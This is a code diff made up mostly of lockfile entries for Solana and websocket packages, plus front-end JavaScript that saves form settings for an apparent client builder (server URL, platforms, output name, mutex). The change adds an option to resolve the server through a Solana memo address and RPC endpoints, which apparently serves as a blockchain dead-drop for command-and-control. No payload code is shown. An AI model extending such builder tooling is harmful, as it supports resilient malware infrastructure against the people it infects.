||||
|
||||
"borsh": ["borsh@0.7.0", "", { "dependencies": { "bn.js": "^5.2.0", "bs58": "^4.0.0", "text-encoding-utf-8": "^1.0.2" } }, "sha512-CLCsZGIBCFnPtkNnieW/a8wmreDmfUtjU2m9yHrzPXIlNbqVs0AQrSatSG6vdNYUqdc83tkQi2eHfF98ubzQLA=="],
|
||||
|
||||
"browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
|
||||
|
||||
"bs58": ["bs58@4.0.1", "", { "dependencies": { "base-x": "^3.0.2" } }, "sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw=="],
|
||||
|
||||
"buffer": ["buffer@6.0.3", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.2.1" } }, "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA=="],
|
||||
|
||||
"buffer-crc32": ["buffer-crc32@0.2.13", "", {}, "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ=="],
|
||||
|
||||
"buffer-equal-constant-time": ["buffer-equal-constant-time@1.0.1", "", {}, "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA=="],
|
||||
|
||||
"bufferutil": ["bufferutil@4.1.0", "", { "dependencies": { "node-gyp-build": "^4.3.0" } }, "sha512-ZMANVnAixE6AWWnPzlW2KpUrxhm9woycYvPOo67jWHyFowASTEd9s+QN1EIMsSDtwhIxN4sWE1jotpuDUIgyIw=="],
|
||||
|
||||
"bun-types": ["bun-types@1.3.11", "", { "dependencies": { "@types/node": "*" } }, "sha512-1KGPpoxQWl9f6wcZh57LvrPIInQMn2TQ7jsgxqpRzg+l0QPOFvJVH7HmvHo/AiPgwXy+/Thf6Ov3EdVn1vOabg=="],
|
||||
|
||||
"caniuse-lite": ["caniuse-lite@1.0.30001780", "", {}, "sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ=="],
|
||||
@@ -202,8 +239,12 @@
|
||||
|
||||
"color-string": ["color-string@2.1.4", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-Bb6Cq8oq0IjDOe8wJmi4JeNn763Xs9cfrBcaylK1tPypWzyoy2G3l90v9k64kjphl/ZJjPIShFztenRomi8WTg=="],
|
||||
|
||||
"commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
|
||||
|
||||
"debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
|
||||
|
||||
"delay": ["delay@5.0.0", "", {}, "sha512-ReEBKkIfe4ya47wlPYf/gu5ib6yUG0/Aez0JQZQz94kiWtRQvZIQbTiehsnwHvLSWJnQdhVeqYue7Id1dKr0qw=="],
|
||||
|
||||
"detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
|
||||
|
||||
"ecdsa-sig-formatter": ["ecdsa-sig-formatter@1.0.11", "", { "dependencies": { "safe-buffer": "^5.0.1" } }, "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ=="],
|
||||
@@ -214,8 +255,18 @@
|
||||
|
||||
"enhanced-resolve": ["enhanced-resolve@5.20.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA=="],
|
||||
|
||||
"es6-promise": ["es6-promise@4.2.8", "", {}, "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w=="],
|
||||
|
||||
"es6-promisify": ["es6-promisify@5.0.0", "", { "dependencies": { "es6-promise": "^4.0.3" } }, "sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ=="],
|
||||
|
||||
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
|
||||
|
||||
"eventemitter3": ["eventemitter3@5.0.4", "", {}, "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw=="],
|
||||
|
||||
"eyes": ["eyes@0.1.8", "", {}, "sha512-GipyPsXO1anza0AOZdy69Im7hGFCNB7Y/NGjDlZGJ3GJJLtwNSb2vrzYrTYJRrRloVx7pl+bhUaTB8yiccPvFQ=="],
|
||||
|
||||
"fast-stable-stringify": ["fast-stable-stringify@1.0.0", "", {}, "sha512-wpYMUmFu5f00Sm0cj2pfivpmawLZ0NKdviQ4w9zJeR8JVtOpOxHmLaJuj0vxvGqMJQWyP/COUkF75/57OKyRag=="],
|
||||
|
||||
"fecha": ["fecha@4.2.3", "", {}, "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw=="],
|
||||
|
||||
"flag-icons": ["flag-icons@7.5.0", "", {}, "sha512-kd+MNXviFIg5hijH766tt+3x76ele1AXlo4zDdCxIvqWZhKt4T83bOtxUOOMlTx/EcFdUMH5yvQgYlFh1EqqFg=="],
|
||||
@@ -234,8 +285,12 @@
|
||||
|
||||
"https-proxy-agent": ["https-proxy-agent@7.0.6", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "4" } }, "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw=="],
|
||||
|
||||
"humanize-ms": ["humanize-ms@1.2.1", "", { "dependencies": { "ms": "^2.0.0" } }, "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ=="],
|
||||
|
||||
"iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="],
|
||||
|
||||
"ieee754": ["ieee754@1.2.1", "", {}, "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA=="],
|
||||
|
||||
"inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="],
|
||||
|
||||
"ip-address": ["ip-address@5.9.4", "", { "dependencies": { "jsbn": "1.1.0", "lodash": "^4.17.15", "sprintf-js": "1.1.2" } }, "sha512-dHkI3/YNJq4b/qQaz+c8LuarD3pY24JqZWfjB8aZx1gtpc2MDILu9L9jpZe1sHpzo/yWFweQVn+U//FhazUxmw=="],
|
||||
@@ -246,12 +301,18 @@
|
||||
|
||||
"is-stream": ["is-stream@2.0.1", "", {}, "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="],
|
||||
|
||||
"isomorphic-ws": ["isomorphic-ws@4.0.1", "", { "peerDependencies": { "ws": "*" } }, "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w=="],
|
||||
|
||||
"jayson": ["jayson@4.3.0", "", { "dependencies": { "@types/connect": "^3.4.33", "@types/node": "^12.12.54", "@types/ws": "^7.4.4", "commander": "^2.20.3", "delay": "^5.0.0", "es6-promisify": "^5.0.0", "eyes": "^0.1.8", "isomorphic-ws": "^4.0.1", "json-stringify-safe": "^5.0.1", "stream-json": "^1.9.1", "uuid": "^8.3.2", "ws": "^7.5.10" }, "bin": { "jayson": "bin/jayson.js" } }, "sha512-AauzHcUcqs8OBnCHOkJY280VaTiCm57AbuO7lqzcw7JapGj50BisE3xhksye4zlTSR1+1tAz67wLTl8tEH1obQ=="],
|
||||
|
||||
"jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="],
|
||||
|
||||
"jose": ["jose@6.2.2", "", {}, "sha512-d7kPDd34KO/YnzaDOlikGpOurfF0ByC2sEV4cANCtdqLlTfBlw2p14O/5d/zv40gJPbIQxfES3nSx1/oYNyuZQ=="],
|
||||
|
||||
"jsbn": ["jsbn@1.1.0", "", {}, "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A=="],
|
||||
|
||||
"json-stringify-safe": ["json-stringify-safe@5.0.1", "", {}, "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA=="],
|
||||
|
||||
"jwa": ["jwa@2.0.1", "", { "dependencies": { "buffer-equal-constant-time": "^1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg=="],
|
||||
|
||||
"jws": ["jws@4.0.1", "", { "dependencies": { "jwa": "^2.0.1", "safe-buffer": "^5.0.1" } }, "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA=="],
|
||||
@@ -302,6 +363,10 @@
|
||||
|
||||
"node-addon-api": ["node-addon-api@7.1.1", "", {}, "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ=="],
|
||||
|
||||
"node-fetch": ["node-fetch@2.7.0", "", { "dependencies": { "whatwg-url": "^5.0.0" }, "peerDependencies": { "encoding": "^0.1.0" }, "optionalPeers": ["encoding"] }, "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A=="],
|
||||
|
||||
"node-gyp-build": ["node-gyp-build@4.8.4", "", { "bin": { "node-gyp-build": "bin.js", "node-gyp-build-optional": "optional.js", "node-gyp-build-test": "build-test.js" } }, "sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ=="],
|
||||
|
||||
"node-releases": ["node-releases@2.0.36", "", {}, "sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA=="],
|
||||
|
||||
"one-time": ["one-time@1.0.0", "", { "dependencies": { "fn.name": "1.x.x" } }, "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g=="],
|
||||
@@ -318,6 +383,8 @@
|
||||
|
||||
"readable-stream": ["readable-stream@3.6.2", "", { "dependencies": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } }, "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA=="],
|
||||
|
||||
"rpc-websockets": ["rpc-websockets@9.3.7", "", { "dependencies": { "@swc/helpers": "^0.5.11", "@types/uuid": "^10.0.0", "@types/ws": "^8.2.2", "buffer": "^6.0.3", "eventemitter3": "^5.0.1", "uuid": "^11.0.0", "ws": "^8.5.0" }, "optionalDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": "^6.0.0" } }, "sha512-dQal1U0yKH2umW0DgqSecP4G1jNxyPUGY60uUMB8bLoXabC2aWT3Cag9hOhZXsH/52QJEcggxNNWhF+Fp48ykw=="],
|
||||
|
||||
"safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="],
|
||||
|
||||
"safe-stable-stringify": ["safe-stable-stringify@2.5.0", "", {}, "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA=="],
|
||||
@@ -334,16 +401,26 @@
|
||||
|
||||
"stack-trace": ["stack-trace@0.0.10", "", {}, "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg=="],
|
||||
|
||||
"stream-chain": ["stream-chain@2.2.5", "", {}, "sha512-1TJmBx6aSWqZ4tx7aTpBDXK0/e2hhcNSTV8+CbFJtDjbb+I1mZ8lHit0Grw9GRT+6JbIrrDd8esncgBi8aBXGA=="],
|
||||
|
||||
"stream-json": ["stream-json@1.9.1", "", { "dependencies": { "stream-chain": "^2.2.5" } }, "sha512-uWkjJ+2Nt/LO9Z/JyKZbMusL8Dkh97uUBTv3AJQ74y07lVahLY4eEFsPsE97pxYBwr8nnjMAIch5eqI0gPShyw=="],
|
||||
|
||||
"string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="],
|
||||
|
||||
"superstruct": ["superstruct@2.0.2", "", {}, "sha512-uV+TFRZdXsqXTL2pRvujROjdZQ4RAlBUS5BTh9IGm+jTqQntYThciG/qu57Gs69yjnVUSqdxF9YLmSnpupBW9A=="],
|
||||
|
||||
"supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
|
||||
|
||||
"tailwindcss": ["tailwindcss@4.2.2", "", {}, "sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q=="],
|
||||
|
||||
"tapable": ["tapable@2.3.0", "", {}, "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg=="],
|
||||
|
||||
"text-encoding-utf-8": ["text-encoding-utf-8@1.0.2", "", {}, "sha512-8bw4MY9WjdsD2aMtO0OzOCY3pXGYNx2d2FfHRVUKkiCPDWjKuOlhLVASS+pD7VkLTVjW268LYJHwsnPFlBpbAg=="],
|
||||
|
||||
"text-hex": ["text-hex@1.0.0", "", {}, "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg=="],
|
||||
|
||||
"tr46": ["tr46@0.0.3", "", {}, "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw=="],
|
||||
|
||||
"triple-beam": ["triple-beam@1.4.1", "", {}, "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg=="],
|
||||
|
||||
"tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
|
||||
@@ -354,18 +431,30 @@
|
||||
|
||||
"update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
|
||||
|
||||
"utf-8-validate": ["utf-8-validate@6.0.6", "", { "dependencies": { "node-gyp-build": "^4.3.0" } }, "sha512-q3l3P9UtEEiAHcsgsqTgf9PPjctrDWoIXW3NpOHFdRDbLvu4DLIcxHangJ4RLrWkBcKjmcs/6NkerI8T/rE4LA=="],
|
||||
|
||||
"util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="],
|
||||
|
||||
"uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
|
||||
|
||||
"web-push": ["web-push@3.6.7", "", { "dependencies": { "asn1.js": "^5.3.0", "http_ece": "1.2.0", "https-proxy-agent": "^7.0.0", "jws": "^4.0.0", "minimist": "^1.2.5" }, "bin": { "web-push": "src/cli.js" } }, "sha512-OpiIUe8cuGjrj3mMBFWY+e4MMIkW3SVT+7vEIjvD9kejGUypv8GPDf84JdPWskK8zMRIJ6xYGm+Kxr8YkPyA0A=="],
|
||||
|
||||
"webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="],
|
||||
|
||||
"whatwg-url": ["whatwg-url@5.0.0", "", { "dependencies": { "tr46": "~0.0.3", "webidl-conversions": "^3.0.0" } }, "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw=="],
|
||||
|
||||
"winston": ["winston@3.19.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.8", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.7.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.9.0" } }, "sha512-LZNJgPzfKR+/J3cHkxcpHKpKKvGfDZVPS4hfJCc4cCG0CgYzvlD6yE/S3CIL/Yt91ak327YCpiF/0MyeZHEHKA=="],
|
||||
|
||||
"winston-transport": ["winston-transport@4.9.0", "", { "dependencies": { "logform": "^2.7.0", "readable-stream": "^3.6.2", "triple-beam": "^1.3.0" } }, "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A=="],
|
||||
|
||||
"ws": ["ws@7.5.10", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": "^5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ=="],
|
||||
|
||||
"yauzl": ["yauzl@3.2.1", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A=="],
|
||||
|
||||
"@solana/errors/chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="],
|
||||
|
||||
"@solana/errors/commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="],
|
||||
|
||||
"@tailwindcss/oxide-wasm32-wasi/@emnapi/core": ["@emnapi/core@1.9.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-mukuNALVsoix/w1BJwFzwXBN/dHeejQtuVzcDsfOEsdpCumXb/E9j8w11h5S54tT1xhifGfbbSm/ICrObRb3KA=="],
|
||||
|
||||
"@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="],
|
||||
@@ -378,10 +467,24 @@
|
||||
|
||||
"@tailwindcss/oxide-wasm32-wasi/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
|
||||
|
||||
"asn1.js/bn.js": ["bn.js@4.12.3", "", {}, "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g=="],
|
||||
|
||||
"color/color-convert": ["color-convert@3.1.3", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-fasDH2ont2GqF5HpyO4w0+BcewlhHEZOFn9c1ckZdHpJ56Qb7MHhH/IcJZbBGgvdtwdwNbLvxiBEdg336iA9Sg=="],
|
||||
|
||||
"color-string/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="],
|
||||
|
||||
"jayson/@types/node": ["@types/node@12.20.55", "", {}, "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ=="],
|
||||
|
||||
"jayson/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="],
|
||||
|
||||
"rpc-websockets/@types/uuid": ["@types/uuid@10.0.0", "", {}, "sha512-7gqG38EyHgyP1S+7+xomFtL+ZNHcKv6DwNaCZmJmo1vgMugyF3TCnXVg4t1uk89mLNwnLtnY3TpOpCOyp1/xHQ=="],
|
||||
|
||||
"rpc-websockets/@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="],
|
||||
|
||||
"rpc-websockets/uuid": ["uuid@11.1.0", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="],
|
||||
|
||||
"rpc-websockets/ws": ["ws@8.20.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA=="],
|
||||
|
||||
"color/color-convert/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="],
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
},
|
||||
"dependencies": {
|
||||
"@msgpack/msgpack": "^3.0.0",
|
||||
"@solana/web3.js": "^1.98.4",
|
||||
"adm-zip": "^0.5.12",
|
||||
"flag-icons": "latest",
|
||||
"geoip-lite": "latest",
|
||||
|
||||
@@ -15,6 +15,8 @@ const scriptsLink = document.getElementById("scripts-link");
|
||||
const pluginsLink = document.getElementById("plugins-link");
|
||||
const rawServerListCheckbox = document.getElementById("raw-server-list");
|
||||
const serverUrlInput = document.getElementById("server-url");
|
||||
const solMemoCheckbox = document.getElementById("sol-memo");
|
||||
const solSettings = document.getElementById("sol-settings");
|
||||
|
||||
let currentServerVersion = null;
|
||||
|
||||
@@ -91,6 +93,9 @@ function saveFormSettings() {
|
||||
platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
|
||||
serverUrl: document.getElementById("server-url")?.value ?? "",
|
||||
rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
|
||||
solMemo: document.getElementById("sol-memo")?.checked ?? false,
|
||||
solAddress: document.getElementById("sol-address")?.value ?? "",
|
||||
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
|
||||
outputName: document.getElementById("output-name")?.value ?? "",
|
||||
mutex: document.getElementById("mutex")?.value ?? "",
|
||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||
@@ -140,6 +145,9 @@ function restoreFormSettings() {
|
||||
}
|
||||
if (s.serverUrl !== undefined) setVal("server-url", s.serverUrl);
|
||||
if (s.rawServerList !== undefined) setCb("#raw-server-list", s.rawServerList);
|
||||
if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo);
|
||||
if (s.solAddress !== undefined) setVal("sol-address", s.solAddress);
|
||||
if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints);
|
||||
if (s.outputName !== undefined) setVal("output-name", s.outputName);
|
||||
if (s.mutex !== undefined) setVal("mutex", s.mutex);
|
||||
if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex);
|
||||
@@ -190,11 +198,20 @@ initAccordions();
|
||||
updateWindowsSectionVisibility();
|
||||
init();
|
||||
|
||||
if (solMemoCheckbox && solSettings) {
|
||||
solSettings.classList.toggle("hidden", !solMemoCheckbox.checked);
|
||||
}
|
||||
|
||||
if (rawServerListCheckbox && serverUrlInput) {
|
||||
rawServerListCheckbox.addEventListener("change", () => {
|
||||
const isRaw = rawServerListCheckbox.checked;
|
||||
const current = serverUrlInput.value.trim();
|
||||
|
||||
if (isRaw && solMemoCheckbox) {
|
||||
solMemoCheckbox.checked = false;
|
||||
if (solSettings) solSettings.classList.add("hidden");
|
||||
}
|
||||
|
||||
if (isRaw) {
|
||||
if (current.startsWith("wss://")) {
|
||||
serverUrlInput.value = "https://" + current.slice("wss://".length);
|
||||
